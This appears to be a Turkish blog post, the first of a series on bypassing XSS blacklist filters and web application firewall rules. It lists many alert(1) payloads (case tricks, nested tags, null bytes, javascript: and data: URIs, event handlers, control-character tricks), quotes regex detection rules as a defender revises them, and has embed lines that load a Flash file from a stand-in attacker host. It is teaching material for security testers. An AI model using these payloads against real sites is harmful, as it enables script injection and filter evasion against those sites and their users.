Selam arkadaşlar, bu yazı XSS nedir, ne işe yarar sorularına cevap niteliğinde değil, ağırlıklı olarak XSS bypass yöntemleri üzerine olacak. Konu biraz uzun olacağından seri olarak yazmayı uygun gördüm. Bu konuyu anlayabilmek için öncelikle XSS zafiyetine hakim olmak ve biraz da olsa Javascript bilgisi gereklidir. XSS zafiyeti hakkında internette bir çok kaynak mevcuttur o yüzden konuyu uzatmadan XSS bypass’a giriş yapalım.
Öncelikle bilmeyenler için bypass kelimesinin bizim camiada Türkçe karşılığı atlatmaktır. Yazımız boyunca atlatma yerine bypass kelimesi kullanılacaktır. XSS payloadlarımızı Web Application Firewall veya bazı kontrolllerden atlatmaya çalışacağız.
Karşılacağımız en yaygın senaryolar:
1-) XSS payload’ının uygulama veya başka bir şey tarafından engellenmesi
2-) XSS payload’ının sanitize edilmesi (arındırılması/filtrelenmesi)
3-) XSS payload’ının tarayıcı tarafından filtrelenmesi veya engellenmesi
Blacklist Filtrelerinin Bypass Edilmesi
Blacklist yöntemi en yaygın kullanılan yöntemlerden biridir. Amaçları belirli kalıpları tespit etmek ve zarar verebilecek kalıpları engellemektir. Kısaca burada yazılımcı risk oluşturabilecek bazı kalıpları blacklist e ekler ve saldırgan bu kalıpları kullanarak bir payload göndermeye kalkarsa sistem otomatik olarak engeller. Örneğin “script”etiketi en çok blacklist’e eklenen kalıplardan biridir. Bilindiği gibi script etiketi script başlangıç/bitiş kalıplarından biridir. Filtrelerin zayıf olması ve tüm olası durumları kapsamaması durumunda bu yöntem atlatılabilir hale gelebilmektedir. Örneğin hepimizin aktif olarak kullanmakta olduğu bazı payloadlar:
<ScriPt>alert(1);</ScRiPt> Büyük küçük harf karakterleri
<ScRiPt>alert(1); Kapanış etiketleri olmadan büyük ve küçük harfler
<script/random>alert(1);</script> Etiketten sonra rastgele dizi
>alert(1);</script>
<scr<script>ipt>alert(1)</scr<script>ipt> İç içe etiketler
<scr\x00ipt>alert(1)</scr\x00ipt> Null Byte kullanılarak
Paylaodlarımızın hepsine dikkat ettiyseniz anahtar kelime olan “<script>” etiketini görebilirsiniz. Mesela açık kaynak kod olan ModSecurity Web Application Firewall “<script>” etiketini aşağıdaki şekilde engellemektedir.
SecRule ARGS "(?i)(<script[^>]*>[\s\S]*?<\/script[^>]*>|<script[^>] *>[\s\S]*?<\/script[[\s\S]]*[\s\S]|<script[^>]*>[\s\S] *?<\/script[\s]*[\s]|<script[^>]*>[\s\S]*?<\/script|<s cript[^>]*>[\s\S]*?)"
Başka config ayarlarını görmek isterseniz github sayfasından inceleyebilirsiniz.
Kod enjekte etmenin tek yolu “<script>” tagını kullanmak değildir. Kodumuzu çalıştırmanın farklı yollarıda mevcuttur. Örneğin:
<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Ek olarak sevdiğim yöntemlerden biri olan swf ile bypass yöntemi var. Bu yöntemi kullanmak için buraya tıklayabilirsiniz.
<object data="//hacker.site/xss.swf">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>
HTML DOM kullanarakta bypass etme şansımız var. HTML DOM hakkında bilginizin varolduğunu düşünerek devam ediyorum.
Hemen hemen tüm event handlers identifier (olay işleyicileri tanımlayıcısı olarak Türkçemize çevirebiliriz herhalde) “on” ön takısı ile başlar ve arkasından yapıcağı iş gelir. Mesela:
<img src=x onerror=alert(1)>
Aşağıda bazı HTML 4 etiketleri örnekleri verilmiştir:
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
Bunlarda HTML 5 etiketleri örnekleri:
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
Yazılımcının burada yapabileceği çözüm ise on ile başlayan tüm olayları filtrelemek olacaktır. Aşağıdaki regex yaygın olarak kullanılmaktadır:
(on\w+\s*=)
\w = Sözcük karakterleri anlamına gelir. [A – Z, a – z, 0 – 9, _ ] Sözcük denildiğine bakmayın dikkat ettiyseniz rakamlar ve alt çizgide dahil edilmiş durumdadır.
\s = Satır başı, satır sonu vb. gibi karakterleri belirtir. [ \t\r\n\f\x0B ]
HTML ve tarayıcı “dynamisms” karışımı kullanılarak ilk filtreyi yani on ile başlayan olayların filtrelenmesi atlatılabilmektedir. Yani slash, noktalı virgül, tırnak işaretleri ile bu kontroller atlatılabilmektedir.
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
Yazılımcı bunun farkına vardı ve kuralına eklemeler yaptı. En son hali aşağıdaki gibi oldu.
(?i)([\s\"'`;\/0-9\=]+on\w+\s*=)
Ama burada halen bir problem var ve saldırgan bunun farkına vardı. Bazı tarayıcılar kontrol karakterlerini boşluğa dönüştürmektedir bu nedenle “\s” karakteri mümkün olan tüm karakterleri kapsamak için yeterli olamamaktadır. Bu biraz anlaşılmamış olabilir bunun için aşağıdaki örneklere bakalım:
Safari hariç tüm tarayıcılarda çalışmaktadır.
<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
Aşağıdaki ise sadece Internet Explorer’da çalışmaktadır.
<svg onload%0B=alert(1)>
%09 ifadesi URL Encoded haldedir ASCII karşığı ise TAB’dır, %20’nin ise karşılığı Space’tir. Biz burada bir TAB veya bir Space yolladık ve tarayıclar bunu boşluğa dönüştürdü. Boşluğa dönüştüğü için ise “\s” karakterinin kontrol alanında olmamaktadır.
Masato Kinugawa abimiz olay adı özelliği (örneğin Onload) ve eşittir işareti (=) karakteri arasında veya olay adından hemen önce izin verilen kontrol karakterlerinin listesini yayınlamıştır.
IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Fakat tarayıcılar sürekli gelişmekte olduğundan yukarıdaki karakterler artık çalışmayabilir. Bunun içinde bir abimiz Fuzzer DB yaratmış. Özel olarak payload oluşturabilirsiniz veya hazır olan paylaodlara ulaşabilirsiniz.
Yazılımcı abimiz bununda farkına vardı ve kuralını aşağıdaki gibi geliştirdi:
(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C \x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3 B]*?=)
Yazı baya uzamaya başladı ve ilk serimi burada sonlandırıyorum. İkinci seride kaldığımız yerden devam edeceğiz. Takıldığınız bir yer olursa sorabilirsiniz
İyi günler diliyorum
Ellerinize sağlık harika bir seri olmuş